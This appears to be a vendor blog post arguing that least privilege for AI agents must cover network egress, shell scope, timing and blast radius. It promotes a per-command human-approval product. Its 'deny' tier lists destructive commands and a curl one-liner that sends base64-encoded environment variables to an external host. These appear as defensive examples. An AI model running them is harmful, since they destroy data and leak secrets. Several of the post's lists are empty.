← Back to blog
2026-03-26 Security AI Agents Principles

Least Privilege for AI Agents: Why Read-Only by Default Isn't Enough

Read-only access sounds safe. No writes, no damage — right? Wrong. An AI agent with read-only filesystem access and network connectivity can still exfiltrate your entire database, leak secrets to an external server, or enumerate internal infrastructure. Least privilege for AI agents requires rethinking what "privilege" actually means.

The read-only illusion

Security teams often treat least privilege as a filesystem problem: give the agent read permissions on the directories it needs, revoke write access everywhere else. Done. Ship it.

This mental model made sense when we were thinking about human users or traditional services. A read-only user on a database server can't drop tables. A read-only service account can't write to S3. The damage is bounded.

AI agents break this assumption. They don't just read — they act on what they read. And they have tools.

⚠ The Read-Only Trap

An agent with read-only filesystem access that also has network connectivity and shell execution can:

Read-only doesn't mean safe. It means the agent can't directly mutate files. Everything else is still on the table.

What "privilege" means for AI agents

For traditional systems, privilege maps to permissions: read, write, execute, admin. For AI agents, privilege is more nuanced. It's the product of what the agent can perceive, what it can do, and what it can reach.

Dimension Traditional model AI agent model
Data access File/DB permissions What the agent can read, query, or receive as tool output
Execution Process ownership, sudo rules Which tools/functions the agent can invoke
Network reach Firewall rules, egress controls Which external services the agent can contact
Temporal scope Session duration How far into the future actions can commit (bookings, purchases, deploys)
Blast radius Resource ownership How many systems are affected if the agent misbehaves

An agent that can only read files but can also call external APIs has enormous egress privilege. An agent that can't touch production systems but operates on staging, which gets promoted to prod nightly, has temporal privilege over production. The surface area is much larger than file permissions suggest.

The five dimensions of agent privilege

1. Data visibility

What can the agent see? This is the most obvious dimension — but it's incomplete on its own. The real question is: what could a malicious agent extract from what it can see?

Practical controls:

2. Execution scope

Which commands or functions can the agent invoke? This is where traditional sudo rules apply — but for AI agents, the granularity needs to be much finer.

The problem is that general-purpose shell access is essentially unlimited execution scope. curl alone is a complete egress channel. python3 alone can do almost anything. If an agent has shell access, it has nearly unbounded execution scope regardless of filesystem permissions.

💡 The Shell Principle

If your agent has unrestricted shell access, all other permission boundaries are advisory, not enforced. Real least privilege for shell-using agents requires command-level controls — exactly what expacti provides.

3. Network egress

Can the agent reach the internet? Can it reach your internal services? Network egress controls are often an afterthought for agents because developers think about the agent's task — not about the agent's ability to exfiltrate everything it sees.

Recommendations:

4. Temporal commitment

This is the dimension most teams never think about. An agent that can schedule actions commits to future consequences. An agent that deploys to staging (which gets auto-promoted to prod) effectively controls prod. An agent that creates a recurring cron job persists beyond its own session.

Questions to ask:

5. Blast radius

If everything goes wrong — prompt injection, model hallucination, adversarial inputs — how much damage can this agent cause? This is a function of all the above dimensions combined.

Blast radius controls:

Why static permissions fail for dynamic agents

Traditional least privilege is static: you define a permission set at deploy time and it applies for the life of the service. This works reasonably well for services with well-defined behavior.

AI agents are fundamentally dynamic. The same agent might legitimately need to:

The command is the same (rm /var/log/app/2026-03-26.log). The context determines the risk. Static permissions can't distinguish between these cases — they either allow or deny the pattern regardless of context.

"The command doesn't carry its own risk level. Context does. Static access controls are blind to context."

This is why dynamic, per-command approval matters. The whitelist isn't just about what commands are allowed — it's about which commands are allowed in what context, at what time, by what agent, on which system.

A practical framework: three tiers

Instead of thinking about permissions as a binary allow/deny, model agent access in three tiers:

Tier 1: Auto-approve (low risk, well-understood)

Commands that are read-only, scoped to non-sensitive data, with no network egress, and have no lasting side effects. These go on your whitelist and execute without review.

# Safe to auto-approve
git status
docker ps
df -h
cat /var/log/app/today.log
curl https://api.github.com/repos/myorg/myrepo/releases/latest  # specific, read-only

Tier 2: Require review (medium risk or novel)

Commands that write to disk, have network effects, or are being seen for the first time. Route these through a human reviewer with context. The reviewer sees the full command, the agent's current task, and the environment.

# Route for review
git push origin main          # irreversible, external effect
docker run --rm myimage ...   # execution in container
psql -c "UPDATE users SET..."  # database write
rsync -av ./dist/ user@prod:  # file transfer to production

Tier 3: Require multi-party approval or deny (high risk)

Commands that are inherently dangerous or cross into critical systems. Either require multiple reviewers or deny outright and force a different approach.

# High risk — multi-party or deny
rm -rf /var/data/
kubectl delete namespace production
DROP TABLE users;
curl https://random-external-api.com/$(env | base64)

Implementing this with expacti

Expacti implements this tiered model at the command level. Every shell command routes through the approval engine before execution. Commands matching your whitelist execute immediately. Novel commands get queued for a human reviewer.

from expacti import ExpactiClient

client = ExpactiClient(
    url="wss://api.expacti.com/shell/ws",
    token=os.environ["EXPACTI_SHELL_TOKEN"]
)

# This runs immediately if "git status" is whitelisted
result = client.run("git status")

# This blocks until a reviewer approves or denies
result = client.run("git push origin main")
if not result.approved:
    raise RuntimeError(f"Push denied: {result.reason}")

# High-risk commands can be configured to require multi-party approval
# or denied outright via whitelist policy
result = client.run("rm -rf /tmp/build")  # queued for review

The reviewer sees:

They approve or deny in seconds. The agent either proceeds or handles the denial gracefully.

The read-only trap, revisited

Let's come back to the original premise. If read-only isn't enough, what is enough?

There's no silver bullet. But here's a working definition of least privilege for AI agents:

Least privilege for an AI agent means: the minimum combination of data visibility, execution scope, network reach, temporal commitment, and blast radius required to complete the task — with dynamic controls that can differentiate based on context, risk, and novelty.

Static permissions get you partway there. Command-level approval with a human in the loop closes the gap — especially for the commands that matter most.

Summary

Put least privilege into practice

expacti routes every shell command through a human reviewer before execution. Start with an open whitelist and tighten as you learn what your agent actually needs.

Get started free See the demo